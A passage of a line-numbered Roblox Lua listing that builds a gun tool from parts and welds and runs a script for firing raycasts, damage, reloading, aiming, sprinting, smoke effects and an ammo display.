  614. Part33.Color = Color3.new(0.105882, 0.164706, 0.207843)
  615. SpecialMesh34.Parent = Part33
  616. SpecialMesh34.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
  617. SpecialMesh34.MeshType = Enum.MeshType.Wedge
  618. SpecialMesh34.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
  619. Part35.Parent = Tool0
  620. Part35.Material = Enum.Material.SmoothPlastic
  621. Part35.BrickColor = BrickColor.new("Black")
  622. Part35.Rotation = Vector3.new(-180, -90, 0)
  623. Part35.Anchored = true
  624. Part35.FormFactor = Enum.FormFactor.Custom
  625. Part35.Size = Vector3.new(1.97037089, 0.200000003, 0.200000003)
  626. Part35.CFrame = CFrame.new(34.581543, 1.26816404, -9.98516846, 0, 0, -1, 0, -1, -0, -1, 0, -0)
  627. Part35.BottomSurface = Enum.SurfaceType.Smooth
  628. Part35.TopSurface = Enum.SurfaceType.Smooth
  629. Part35.Color = Color3.new(0.105882, 0.164706, 0.207843)
  630. Part35.Position = Vector3.new(34.581543, 1.26816404, -9.98516846)
  631. Part35.Orientation = Vector3.new(0, -90, 180)
  632. Part35.Color = Color3.new(0.105882, 0.164706, 0.207843)
  633. SpecialMesh36.Parent = Part35
  634. SpecialMesh36.Scale = Vector3.new(1, 0.518519938, 0.148148149)
  635. SpecialMesh36.MeshType = Enum.MeshType.Wedge
  636. SpecialMesh36.Scale = Vector3.new(1, 0.518519938, 0.148148149)
  637. Part37.Parent = Tool0
  638. Part37.Material = Enum.Material.SmoothPlastic
  639. Part37.BrickColor = BrickColor.new("Black")
  640. Part37.Reflectance = 0.20000000298023
  641. Part37.Rotation = Vector3.new(180, 0, -180)
  642. Part37.Anchored = true
  643. Part37.FormFactor = Enum.FormFactor.Custom
  644. Part37.Size = Vector3.new(0.20740746, 0.200000003, 0.548148036)
  645. Part37.CFrame = CFrame.new(34.5, 1.34970605, -12.1184645, -1, 0, -4.37113883e-08, 0, 1, -0, 4.37113883e-08, 0, -1)
  646. Part37.BottomSurface = Enum.SurfaceType.Smooth
  647. Part37.TopSurface = Enum.SurfaceType.Smooth
  648. Part37.Color = Color3.new(0.105882, 0.164706, 0.207843)
  649. Part37.Position = Vector3.new(34.5, 1.34970605, -12.1184645)
  650. Part37.Orientation = Vector3.new(0, -180, 0)
  651. Part37.Color = Color3.new(0.105882, 0.164706, 0.207843)
  652. SpecialMesh38.Parent = Part37
  653. SpecialMesh38.Scale = Vector3.new(1, 0.814816296, 1)
  654. SpecialMesh38.MeshType = Enum.MeshType.Wedge
  655. SpecialMesh38.Scale = Vector3.new(1, 0.814816296, 1)
  656. Part39.Parent = Tool0
  657. Part39.Material = Enum.Material.SmoothPlastic
  658. Part39.BrickColor = BrickColor.new("Black")
  659. Part39.Reflectance = 0.20000000298023
  660. Part39.Rotation = Vector3.new(-90, 0, 0)
  661. Part39.Anchored = true
  662. Part39.FormFactor = Enum.FormFactor.Custom
  663. Part39.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  664. Part39.CFrame = CFrame.new(34.4963379, 1.67197096, -12.1221924, 1, 0, -0, 0, 0, 1, 0, -1, 0)
  665. Part39.BottomSurface = Enum.SurfaceType.Smooth
  666. Part39.TopSurface = Enum.SurfaceType.Smooth
  667. Part39.Color = Color3.new(0.105882, 0.164706, 0.207843)
  668. Part39.Position = Vector3.new(34.4963379, 1.67197096, -12.1221924)
  669. Part39.Orientation = Vector3.new(-90, 0, 0)
  670. Part39.Color = Color3.new(0.105882, 0.164706, 0.207843)
  671. BlockMesh40.Parent = Part39
  672. BlockMesh40.Scale = Vector3.new(0.259259313, 0.148148119, 0.111111082)
  673. BlockMesh40.Scale = Vector3.new(0.259259313, 0.148148119, 0.111111082)
  674. ManualWeld41.Name = "Part-to-AimPart Strong Joint"
  675. ManualWeld41.Parent = Part39
  676. ManualWeld41.C0 = CFrame.new(-0.100000001, -0.100000001, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  677. ManualWeld41.C1 = CFrame.new(0.0999984741, -0.0999529362, -0.159261703, -0.999999702, -4.8854865e-08, 5.96046448e-08, 5.96046448e-08, 1.34268845e-08, 0.999999702, -4.88548757e-08, 1, -5.71382657e-08)
  678. ManualWeld41.Part0 = Part39
  679. ManualWeld41.Part1 = Part237
  680. Part42.Parent = Tool0
  681. Part42.Material = Enum.Material.SmoothPlastic
  682. Part42.BrickColor = BrickColor.new("Black")
  683. Part42.Reflectance = 0.20000000298023
  684. Part42.Rotation = Vector3.new(-90, 0, 0)
  685. Part42.Anchored = true
  686. Part42.FormFactor = Enum.FormFactor.Custom
  687. Part42.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  688. Part42.CFrame = CFrame.new(34.5629883, 1.67563403, -12.1740723, 1, 0, -0, 0, 0, 1, 0, -1, 0)
  689. Part42.BottomSurface = Enum.SurfaceType.Smooth
  690. Part42.TopSurface = Enum.SurfaceType.Smooth
  691. Part42.Color = Color3.new(0.105882, 0.164706, 0.207843)
  692. Part42.Position = Vector3.new(34.5629883, 1.67563403, -12.1740723)
  693. Part42.Orientation = Vector3.new(-90, 0, 0)
  694. Part42.Color = Color3.new(0.105882, 0.164706, 0.207843)
  695. BlockMesh43.Parent = Part42
  696. BlockMesh43.Scale = Vector3.new(0.111111112, 0.666666627, 0.370370358)
  697. BlockMesh43.Scale = Vector3.new(0.111111112, 0.666666627, 0.370370358)
  698. ManualWeld44.Name = "Part-to-AimPart Strong Joint"
  699. ManualWeld44.Parent = Part42
  700. ManualWeld44.C0 = CFrame.new(-0.100000001, -0.100000001, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  701. ManualWeld44.C1 = CFrame.new(0.0333480835, -0.0962898731, -0.107381821, -0.999999702, -4.8854865e-08, 5.96046448e-08, 5.96046448e-08, 1.34268845e-08, 0.999999702, -4.88548757e-08, 1, -5.71382657e-08)
  702. ManualWeld44.Part0 = Part42
  703. ManualWeld44.Part1 = Part237
  704. LocalScript45.Name = "Gun_Script"
  705. LocalScript45.Parent = Tool0
  706. table.insert(cors,sandbox(LocalScript45,function()
  707. wait(0.5)
  708. --Made by YouTubes--
  709. --Edit settings below--
  710. local Tool = script.Parent
  711. local Settings = {
  712. Range = 1000
  713. ,Spread = 7
  714. ,Damage = {40, 40}
  715. ,HeadShotDamage = {70, 120}
  716. ,Bullets = 1
  717. ,FireRate = 0.1
  718. ,Automatic = false
  719. ,AntiTK = true
  720. ,ImpactDuration = 3
  721. --Reload
  722. ,ReloadKey = "R"
  723. ,ReloadTime = 2.5
  724. ,Ammo = 30
  725. ,IncludeChamberedBullet = true
  726. --Gui
  727. ,GuiPos = Vector2.new(script.Gui.Frame.Position.X.Scale, script.Gui.Frame.Position.Y.Scale)
  728. --Arms
  729. ,OneHanded = false
  730. ,FakeArms = true
  731. ,FakeArmTransparency = 0
  732. ,RightPos = CFrame.new(-0.75, -0.25, 0.5) * CFrame.Angles(math.rad(-90), 0, 0)
  733. ,LeftPos = CFrame.new(1, 0.5, 0.5) * CFrame.Angles(math.rad(-90), math.rad(45), 0)
  734. ,AimPart = Tool.AimPart
  735. ,AimPartOffset = CFrame.new()
  736. ,AimGripOffset = Vector3.new(0, 0, 0)
  737. ,LeftAimPos = CFrame.new(1, 0.5, 0.5) * CFrame.Angles(math.rad(-100), math.rad(45), 0)
  738. ,AimAnim = {
  739. Enabled = false
  740. ,Frames = 50
  741. ,Time = 0.1
  742. }
  743. ,ChangeFOV = {true, 60}
  744. ,SpreadReduction = 5
  745. --Weld
  746. ,Weld = true
  747. --Mouse
  748. ,Icons = {
  749. Idle = "rbxassetid://70288585"
  750. ,Fire1 = "rbxassetid://137983646"
  751. ,Fire2 = "rbxassetid://137983646"
  752. ,Fire3 = "rbxassetid://137983646"
  753. ,Reload = "rbxassetid://506273075"
  754. ,Aim = "rbxasset://textures/Blank.png"
  755. }
  756. ,FireMouseAnimTime = 0.15
  757. --Recoil
  758. ,Recoil = math.rad(1)
  759. --Smoke
  760. ,Smoke = true
  761. ,SmokePart = Tool.SmokePart
  762. ,Smokes = {{script.Smoke, 6, 0.2}, {script.Smoke1, 0.1}, {script.Smoke1, 0.1}, {script.Flash, 0.03}}
  763. --Sprint
  764. ,Sprint = true
  765. ,SprintSpeed = 25
  766. ,SprintKey = "0"
  767. ,SprintSpreadIncrease = 40
  768. ,SprintArmOffset = CFrame.new(0.25, 0.125, 0.25) * CFrame.Angles(math.rad(-30), math.rad(35), 0)
  769. --Other
  770. ,DropHats = true
  771. }
  772.  
  773. --Do not edit below this lign--
  774.  
  775. local Orig_Spread = Settings.Spread
  776. local Orig_Grip = Tool.GripPos
  777.  
  778. local Player = game.Players.LocalPlayer
  779. local Character = Player.Character
  780.  
  781. local Camera = Workspace.CurrentCamera
  782.  
  783. local Ammo, StoredAmmo = script.Ammo, script.StoredAmmo
  784.  
  785. local Gui, CanUpdateGui = nil, true
  786.  
  787. local Sprinting, Equipped
  788.  
  789. function Update_Gui()
  790. if Gui and CanUpdateGui then
  791. Gui.Frame.AmmoDisplay.Text = Ammo.Value .. "|" .. StoredAmmo.Value
  792. end
  793. end
  794.  
  795. local Welded
  796. if Settings.Weld then
  797. Delay(0, function()
  798. local weldC0s = {}
  799. for i, v in pairs(Tool:GetChildren()) do
  800. if v:IsA("BasePart") and v ~= Tool.Handle then
  801. table.insert(weldC0s, {v, Tool.Handle.CFrame:toObjectSpace(v.CFrame)})
  802. v.Anchored = false
  803. end
  804. end
  805. Tool.Handle.Anchored = false
  806. local welds = {}
  807. Tool.Equipped:connect(function()
  808. for i, v in ipairs(welds) do
  809. v.Part1 = nil
  810. v:Destroy()
  811. end
  812. for i, v in ipairs(weldC0s) do
  813. if v[1] and v[2] then
  814. local w = Instance.new("Weld", Tool.Handle)
  815. w.Part0 = Tool.Handle
  816. w.Part1 = v[1]
  817. w.C0 = v[2]
  818. table.insert(welds, w)
  819. end
  820. end
  821. end)
  822. wait()
  823. Welded = true
  824. end)
  825. end
  826.  
  827. local Left_Weld, Right_Weld
  828.  
  829. Ammo.Changed:connect(Update_Gui)
  830. StoredAmmo.Changed:connect(Update_Gui)
  831.  
  832. Settings.Range = math.min(Settings.Range, 999)
  833.  
  834. local Ignore_Model = Workspace:FindFirstChild("Ray_Ignore") or Instance.new("Model", Workspace)
  835. Ignore_Model.Name = "Ray_Ignore"
  836.  
  837. local Ray_Ignore = {Character, Ignore_Model, Camera}
  838.  
  839. Character.Humanoid.Died:connect(function()
  840. Tool.Parent = Player.Backpack
  841. end)
  842.  
  843. function Fire(Mouse)
  844. local Spread = CFrame.Angles(math.rad(math.random(-Settings.Spread, Settings.Spread)/10), math.rad(math.random(-Settings.Spread, Settings.Spread)/10), math.rad(math.random(-Settings.Spread, Settings.Spread)/10))
  845. local Ray = Ray.new(Character.Head.Position, (CFrame.new(Character.Head.Position, Mouse.Hit.p) * Spread).lookVector.unit * Settings.Range)
  846. local Hit, Pos = Workspace:FindPartOnRayWithIgnoreList(Ray, Ray_Ignore)
  847. if Hit and Hit.Parent:FindFirstChild("Humanoid") then
  848. local Hit_Player = game.Players:GetPlayerFromCharacter(Hit.Parent)
  849. if Settings.AntiTK and not Hit_Player.Neutral and Hit_Player.TeamColor == Player.TeamColor then
  850. return
  851. end
  852. local Humanoid = Hit.Parent.Humanoid
  853. local c = Instance.new("ObjectValue")
  854. c.Name = "creator"
  855. c.Value = Player
  856. game.Debris:AddItem(c, 3)
  857. c.Parent = Humanoid
  858. if Hit.Name == "Head" then
  859. Humanoid.Health = Humanoid.Health - math.random(Settings.HeadShotDamage[1], Settings.HeadShotDamage[2])
  860. else
  861. Humanoid.Health = Humanoid.Health - math.random(Settings.Damage[1], Settings.Damage[2])
  862. end
  863. elseif Hit then
  864. local Hit_Part = Instance.new("Part", Ignore_Model)
  865. Hit_Part.FormFactor = "Custom"
  866. Hit_Part.TopSurface = 0
  867. Hit_Part.BottomSurface = 0
  868. Hit_Part.Anchored = true
  869. Hit_Part.CanCollide = false
  870. Hit_Part.Size = Vector3.new()
  871. Hit_Part.CFrame = CFrame.new(Pos) * CFrame.Angles(math.random(0, 360), math.random(0, 360), math.random(0, 360))
  872. Hit_Part.BrickColor = BrickColor.new("Black")
  873. game.Debris:AddItem(Hit_Part, Settings.ImpactDuration)
  874. if not Hit.Anchored then
  875. local w = Instance.new("Weld", Hit_Part)
  876. w.Part0 = Hit
  877. w.Part1 = Hit_Part
  878. w.C0 = Hit.CFrame:toObjectSpace(Hit_Part.CFrame)
  879. Hit_Part.Anchored = false
  880. end
  881. if Hit.Parent:IsA("Hat") and Settings.DropHats then
  882. Hit.Parent.Parent = workspace
  883. game.Debris:AddItem(Hit, 3)
  884. end
  885. end
  886. end
  887.  
  888. local Can_Shoot = true
  889. local Reloading = false
  890.  
  891. local First_Person = false
  892.  
  893. local Mouse_Held
  894.  
  895. Tool.Equipped:connect(function(Mouse)
  896. Equipped = true
  897. if Settings.Weld and not Welded then
  898. wait()
  899. Tool.Parent = Player.Backpack
  900. end
  901. Character = Player.Character
  902. if Gui then
  903. return
  904. end
  905. Ray_Ignore = {Character, Ignore_Model, Camera}
  906. Mouse.Icon = Settings.Icons.Idle
  907. Gui = script.Gui:Clone()
  908. Gui.Parent = Player.PlayerGui
  909. Gui.Frame.Position = UDim2.new(Settings.GuiPos.X, Gui.Frame.Position.X.Offset, 1.1, Gui.Frame.Position.Y.Offset)
  910. Gui.Frame:TweenPosition(UDim2.new(Settings.GuiPos.X, Gui.Frame.Position.X.Offset, Settings.GuiPos.Y, Gui.Frame.Position.Y.Offset), "Out", "Bounce", 1)
  911. CanUpdateGui = true
  912. Update_Gui()
  913. Mouse.Button1Down:connect(function()
  914. if Can_Shoot and Ammo.Value > 0 and Character.Humanoid.Health > 0 then
  915. Mouse_Held = true
  916. while true do
  917. Can_Shoot = false
  918. Delay(0, function()
  919. local t = math.min(Settings.FireMouseAnimTime/3, Settings.FireRate/3)
  920. if not Aiming then
  921. Mouse.Icon = Settings.Icons.Fire1
  922. end
  923. wait(t)
  924. if not Aiming then
  925. if Reloading then return end
  926. Mouse.Icon = Settings.Icons.Fire2
  927. end
  928. wait(t)
  929. if not Aiming then
  930. if Reloading then return end
  931. Mouse.Icon = Settings.Icons.Fire3
  932. end
  933. wait(t)
  934. if not Aiming then
  935. if Reloading then return end
  936. Mouse.Icon = Settings.Icons.Idle
  937. end
  938. end)
  939. if Settings.Smoke then
  940. for i, v in pairs(Settings.Smokes) do
  941. local s = v[1]:Clone()
  942. s.Parent = Settings.SmokePart
  943. s.Enabled = true
  944. game.Debris:AddItem(s, v[2])
  945. if v[3] then
  946. Delay(v[3], function()
  947. s.Enabled = false
  948. end)
  949. end
  950. end
  951. end
  952. for _ = 1, Settings.Bullets do
  953. pcall(function() Fire(Mouse) end)
  954. end
  955. Camera.CoordinateFrame = CFrame.new(Camera.Focus.p) * (Camera.CoordinateFrame - Camera.CoordinateFrame.p) * CFrame.Angles(math.abs(Settings.Recoil), 0, 0) * CFrame.new(0, 0, (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude)
  956. if Tool.Handle:FindFirstChild("Shoot") then
  957. Tool.Handle.Shoot:Play()
  958. end
  959. Ammo.Value = Ammo.Value - 1
  960. wait(Settings.FireRate)
  961. if not Settings.Automatic or Ammo.Value <= 0 or Character.Humanoid.Health <= 0 or not Mouse_Held then
  962. break
  963. end
  964. end
  965. Can_Shoot = true
  966. elseif Can_Shoot and Character.Humanoid.Health > 0 and Tool.Handle:FindFirstChild("Click") then
  967. Tool.Handle.Click:Play()
  968. end
  969. end)
  970. Mouse.Button1Up:connect(function()
  971. Mouse_Held = false
  972. end)
  973. Mouse.KeyDown:connect(function(Key)
  974. if Key:upper() == Settings.ReloadKey:upper() and Can_Shoot and StoredAmmo.Value > 0 and not Aiming then
  975. if Settings.IncludeChamberedBullet and Ammo.Value == Settings.Ammo + 1 or not Settings.IncludeChamberedBullet and Ammo.Value == Settings.Ammo then
  976. return
  977. end
  978. Can_Shoot = false
  979. Reloading = true
  980. local TextLabel = Gui.Frame.AmmoDisplay
  981. Delay(0, function()
  982. CanUpdateGui = false
  983. TextLabel.Text = "Reloading."
  984. wait(Settings.ReloadTime/3)
  985. if TextLabel then
  986. TextLabel.Text = "Reloading.."
  987. end
  988. wait(Settings.ReloadTime/3)
  989. if TextLabel then
  990. TextLabel.Text = "Reloading..."
  991. end
  992. end)
  993. if Tool.Handle:FindFirstChild("Reload") then
  994. Tool.Handle.Reload:Play()
  995. end
  996. Mouse.Icon = Settings.Icons.Reload
  997. wait(Settings.ReloadTime)
  998. Mouse.Icon = Settings.Icons.Idle
  999. CanUpdateGui = true
  1000. local m = Settings.Ammo
  1001. if Ammo.Value > 0 and Settings.IncludeChamberedBullet then
  1002. m = m + 1
  1003. end
  1004. if (StoredAmmo.Value - (m - Ammo.Value)) <= 0 then
  1005. Ammo.Value = Ammo.Value + StoredAmmo.Value
  1006. StoredAmmo.Value = 0
  1007. else
  1008. StoredAmmo.Value = StoredAmmo.Value - (m - Ammo.Value)
  1009. Ammo.Value = m
  1010. end
  1011. Can_Shoot = true
  1012. Reloading = false
  1013. elseif Key:upper() == Settings.SprintKey:upper() and Settings.Sprint and not Aiming then
  1014. Sprinting = true
  1015. Character.Humanoid.WalkSpeed = Settings.SprintSpeed
  1016. Settings.Spread = Settings.Spread + Settings.SprintSpreadIncrease
  1017. end
  1018. end)
  1019. Mouse.KeyUp:connect(function(Key)
  1020. if Key:upper() == Settings.SprintKey:upper() and Sprinting then
  1021. Sprinting = false
  1022. Character.Humanoid.WalkSpeed = 16
  1023. Settings.Spread = Settings.Spread - Settings.SprintSpreadIncrease
  1024. Right_Weld.C0 = CFrame.new(0, -1.5, 0)
  1025. end
  1026. end)
  1027. Mouse.Button2Down:connect(function()
  1028. if not Reloading and not Sprinting and not Aiming and (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 then
  1029. Aiming = true
  1030. Mouse.Icon = Settings.Icons.Aim
  1031. Right_Weld.C1 = CFrame.new()
  1032. Right_Weld.C0 = CFrame.new()
  1033. Right_Weld.C1 = Character.Head.CFrame:toObjectSpace(Settings.AimPart.CFrame)
  1034. Left_Weld.C1 = Settings.LeftAimPos
  1035. if Settings.ChangeFOV[1] then
  1036. Camera.FieldOfView = Settings.ChangeFOV[2]
  1037. end
  1038. Tool.GripPos = Orig_Grip + Settings.AimGripOffset
  1039. Settings.Spread = Settings.Spread - Settings.SpreadReduction
  1040. end
  1041. end)
  1042. Mouse.Button2Up:connect(function()
  1043. if Aiming then
  1044. Mouse.Icon = Settings.Icons.Idle
  1045. Tool.GripPos = Orig_Grip
  1046. Right_Weld.C1 = Settings.RightPos
  1047. Right_Weld.C0 = CFrame.new(0, -1.5, 0)
  1048. Left_Weld.C1 = Settings.LeftPos
  1049. if Settings.ChangeFOV[1] then
  1050. Camera.FieldOfView = 70
  1051. end
  1052. Settings.Spread = Settings.Spread + Settings.SpreadReduction
  1053. Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1054. Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1055. wait(0.25)
  1056. Aiming = false
  1057. end
  1058. end)
  1059. wait()
  1060. Camera.Changed:connect(function()
  1061. if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 and Equipped then
  1062. Mouse.TargetFilter = workspace
  1063. Character.Torso.Neck.C1 = CFrame.new()
  1064. Character.Torso.Neck.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.asin((Mouse.Hit.p - Mouse.Origin.p).unit.y), 0, 0)
  1065. end
  1066. end)
  1067. Mouse.Idle:connect(function()
  1068. if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 and Equipped then
  1069. Mouse.TargetFilter = workspace
  1070. Character.Torso.Neck.C1 = CFrame.new()
  1071. Character.Torso.Neck.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.asin((Mouse.Hit.p - Mouse.Origin.p).unit.y), 0, 0)
  1072. end
  1073. end)
  1074. while wait() and Equipped do
  1075. if Sprinting then
  1076. Right_Weld.C0 = CFrame.new(0, -1.5, 0) * Settings.SprintArmOffset
  1077. Left_Weld.C0 = CFrame.new(0, -1.5, 0) * Settings.SprintArmOffset
  1078. elseif not Aiming then
  1079. Left_Weld.C0 = CFrame.new(0, -1.5, 0)
  1080. end
  1081. if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude > 1 and Equipped then
  1082. Mouse.TargetFilter = nil
  1083. Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1084. Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1085. end
  1086. end
  1087. end)
  1088.  
  1089. local Arms_Made
  1090. local Fake_Arm_Right, Fake_Arm_Left, Fake_Arm_Model
  1091.  
  1092. Tool.Equipped:connect(function(Mouse)
  1093. if Character and not Arms_Made then
  1094. Arms_Made = true
  1095. local Torso = Character.Torso
  1096. Torso["Right Shoulder"].Part1 = nil
  1097. Left_Weld = Instance.new("Weld", Torso)
  1098. Left_Weld.Name = "Left_Weld"
  1099. Left_Weld.Part0 = Character.Head
  1100. Left_Weld.C0 = CFrame.new(0, -1.5, 0)
  1101. if not Settings.OneHanded then
  1102. Torso["Left Shoulder"].Part1 = nil
  1103. Left_Weld.Part1 = Character["Left Arm"]
  1104. end
  1105. Right_Weld = Instance.new("Weld", Torso)
  1106. Right_Weld.Name = "Right_Weld"
  1107. Right_Weld.Part0 = Character.Head
  1108. Right_Weld.Part1 = Character["Right Arm"]
  1109. Right_Weld.C0 = CFrame.new(0, -1.5, 0)
  1110. Left_Weld.C1 = Settings.LeftPos
  1111. Right_Weld.C1 = Settings.RightPos
  1112. end
  1113. if Settings.FakeArms and not Fake_Arm_Right then
  1114. Fake_Arm_Right, Fake_Arm_Left = Character["Right Arm"]:Clone(), Character["Left Arm"]:Clone()
  1115. Fake_Arm_Right.FormFactor, Fake_Arm_Left.FormFactor = "Custom", "Custom"
  1116. Fake_Arm_Right.Size, Fake_Arm_Left.Size = Vector3.new(), Vector3.new()
  1117. local fakeArms = {Fake_Arm_Right, Fake_Arm_Left}
  1118. for i = 1, 2 do
  1119. local w = Instance.new("Weld", fakeArms[i])
  1120. w.Part0 = Character[fakeArms[i].Name]
  1121. w.Part1 = fakeArms[i]
  1122. fakeArms[i].Transparency = Settings.FakeArmTransparency
  1123. end
  1124. Fake_Arm_Model = Instance.new("Model", Camera)
  1125. Fake_Arm_Right.Parent = Fake_Arm_Model
  1126. if not Settings.OneHanded then
  1127. Fake_Arm_Left.Parent = Fake_Arm_Model
  1128. end
  1129. Fake_Arm_Model.Name = "FakeArms"
  1130. if Settings.CharacterMeshes then
  1131. for i, v in pairs(Character:GetChildren()) do
  1132. if v:IsA("CharacterMesh") and v.BodyPart == Enum.BodyPart.LeftArm or v:IsA("CharacterMesh") and v.BodyPart == Enum.BodyPart.RightArm then
  1133. v:Clone().Parent = Fake_Arm_Model
  1134. end
  1135. end
  1136. end
  1137. if Character:FindFirstChild("Shirt") then
  1138. Instance.new("Humanoid", Fake_Arm_Model)
  1139. Character.Shirt:Clone().Parent = Fake_Arm_Model
  1140. else
  1141. local Arm_Mesh = Instance.new("SpecialMesh", Fake_Arm_Right)
  1142. Arm_Mesh.MeshType, Arm_Mesh.Scale = "Brick", Vector3.new(5, 10, 5)
  1143. local Arm_Mesh2 = Instance.new("SpecialMesh", Fake_Arm_Left)
  1144. Arm_Mesh2.MeshType, Arm_Mesh2.Scale = "Brick", Vector3.new(5, 10, 5)
  1145. end
  1146. end
  1147. end)
  1148.  
  1149. Tool.Unequipped:connect(function()
  1150. Equipped = false
  1151. Tool.GripPos = Orig_Grip
  1152. Aiming = false
  1153. Settings.Spread = Orig_Spread
  1154. if Settings.ChangeFOV[1] then
  1155. Camera.FieldOfView = 70
  1156. end
  1157. if Gui then
  1158. Gui:Destroy()
  1159. Gui = nil
  1160. end
  1161. for i, v in pairs(Tool.Handle:GetChildren()) do
  1162. if v:IsA("Sound") then
  1163. v:Stop()
  1164. end
  1165. end
  1166. if Fake_Arm_Right and Fake_Arm_Left and Fake_Arm_Model then
  1167. Fake_Arm_Model:Destroy()
  1168. Fake_Arm_Right, Fake_Arm_Left, Fake_Arm_Model = nil, nil, nil
  1169. end
  1170. if Character and Left_Weld and Right_Weld then
  1171. Arms_Made = false
  1172. local Torso = Character.Torso
  1173. Torso["Right Shoulder"].Part1, Torso["Left Shoulder"].Part1 = Character["Right Arm"], Character["Left Arm"]
  1174. Left_Weld:Destroy()
  1175. Right_Weld:Destroy()
  1176. end
  1177. Sprinting = false
  1178. Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1179. Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1180. Character.Humanoid.WalkSpeed = 16
  1181. end)
  1182.  
  1183. end))
  1184. NumberValue46.Name = "Ammo"
  1185. NumberValue46.Parent = LocalScript45
  1186. NumberValue46.Value = 31
  1187. NumberValue47.Name = "StoredAmmo"
  1188. NumberValue47.Parent = LocalScript45
  1189. NumberValue47.Value = 400
  1190. PointLight48.Name = "Flash"
  1191. PointLight48.Parent = LocalScript45
  1192. PointLight48.Color = Color3.new(0.772549, 0.384314, 0)
  1193. PointLight48.Brightness = 10
  1194. PointLight48.Range = 10
  1195. PointLight48.Shadows = true
  1196. PointLight48.Color = Color3.new(0.772549, 0.384314, 0)
  1197. Smoke49.Parent = LocalScript45
  1198. Smoke49.Size = 0.25
  1199. Smoke49.Color = Color3.new(0.372549, 0.372549, 0.372549)
  1200. Smoke49.Enabled = false
  1201. Smoke49.Opacity = 0.25999999046326
  1202. Smoke49.RiseVelocity = 4
  1203. Smoke49.Color = Color3.new(0.372549, 0.372549, 0.372549)
  1204. Smoke50.Name = "Smoke1"
  1205. Smoke50.Parent = LocalScript45
  1206. Smoke50.Size = 0.10000000149012
  1207. Smoke50.Color = Color3.new(1, 0.6, 0.2)
  1208. Smoke50.Enabled = false
  1209. Smoke50.Opacity = 0.40000000596046
  1210. Smoke50.Color = Color3.new(1, 0.6, 0.2)
  1211. ScreenGui51.Name = "Gui"
  1212. ScreenGui51.Parent = LocalScript45
  1213. Frame52.Parent = ScreenGui51
  1214. Frame52.Transparency = 0.5
  1215. Frame52.Size = UDim2.new(0, 120, 0, 35)
  1216. Frame52.Position = UDim2.new(1, -150, 1, -44)
  1217. Frame52.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1218. Frame52.BackgroundTransparency = 0.5
  1219. Frame52.BorderSizePixel = 3
  1220. TextLabel53.Name = "AmmoDisplay"
  1221. TextLabel53.Parent = Frame52
  1222. TextLabel53.Transparency = 1
  1223. TextLabel53.Size = UDim2.new(1, 0, 1, 0)
  1224. TextLabel53.Text = ""
  1225. TextLabel53.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1226. TextLabel53.BackgroundTransparency = 1
  1227. TextLabel53.Font = Enum.Font.SourceSansBold
  1228. TextLabel53.FontSize = Enum.FontSize.Size24
  1229. TextLabel53.TextColor3 = Color3.new(0, 0, 0)
  1230. TextLabel53.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1231. TextLabel53.TextStrokeTransparency = 0.5
  1232. TextLabel53.TextXAlignment = Enum.TextXAlignment.Right
  1233. Frame54.Parent = ScreenGui51
  1234. Frame54.Transparency = 0.5
  1235. Frame54.Size = UDim2.new(0, 126, 0, 10)
  1236. Frame54.Position = UDim2.new(1, -153, 1, -62)
  1237. Frame54.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1238. Frame54.BackgroundTransparency = 0.5
  1239. Frame54.BorderSizePixel = 3
  1240. TextLabel55.Name = "Caliber"
  1241. TextLabel55.Parent = Frame54
  1242. TextLabel55.Transparency = 1
  1243. TextLabel55.Size = UDim2.new(1, 0, 1, 0)
  1244. TextLabel55.Text = "6.5mm"
  1245. TextLabel55.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1246. TextLabel55.BackgroundTransparency = 1
  1247. TextLabel55.Font = Enum.Font.SourceSansBold
  1248. TextLabel55.FontSize = Enum.FontSize.Size12
  1249. TextLabel55.TextColor3 = Color3.new(0, 0, 0)
  1250. TextLabel55.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1251. TextLabel55.TextStrokeTransparency = 0.5
  1252. TextLabel55.TextXAlignment = Enum.TextXAlignment.Right
  1253. Frame56.Parent = ScreenGui51
  1254. Frame56.Transparency = 0.5
  1255. Frame56.Size = UDim2.new(0, 126, 0, 40)
  1256. Frame56.Position = UDim2.new(1, -153, 1, -109)
  1257. Frame56.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1258. Frame56.BackgroundTransparency = 0.5
  1259. Frame56.BorderSizePixel = 3
  1260. TextLabel57.Name = "Accessories"
  1261. TextLabel57.Parent = Frame56
  1262. TextLabel57.Transparency = 1
  1263. TextLabel57.Size = UDim2.new(1, 0, 1, 0)
  1264. TextLabel57.Text = "MX"
  1265. TextLabel57.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1266. TextLabel57.BackgroundTransparency = 1
  1267. TextLabel57.Font = Enum.Font.SourceSansBold
  1268. TextLabel57.FontSize = Enum.FontSize.Size14
  1269. TextLabel57.TextColor3 = Color3.new(0, 0, 0)
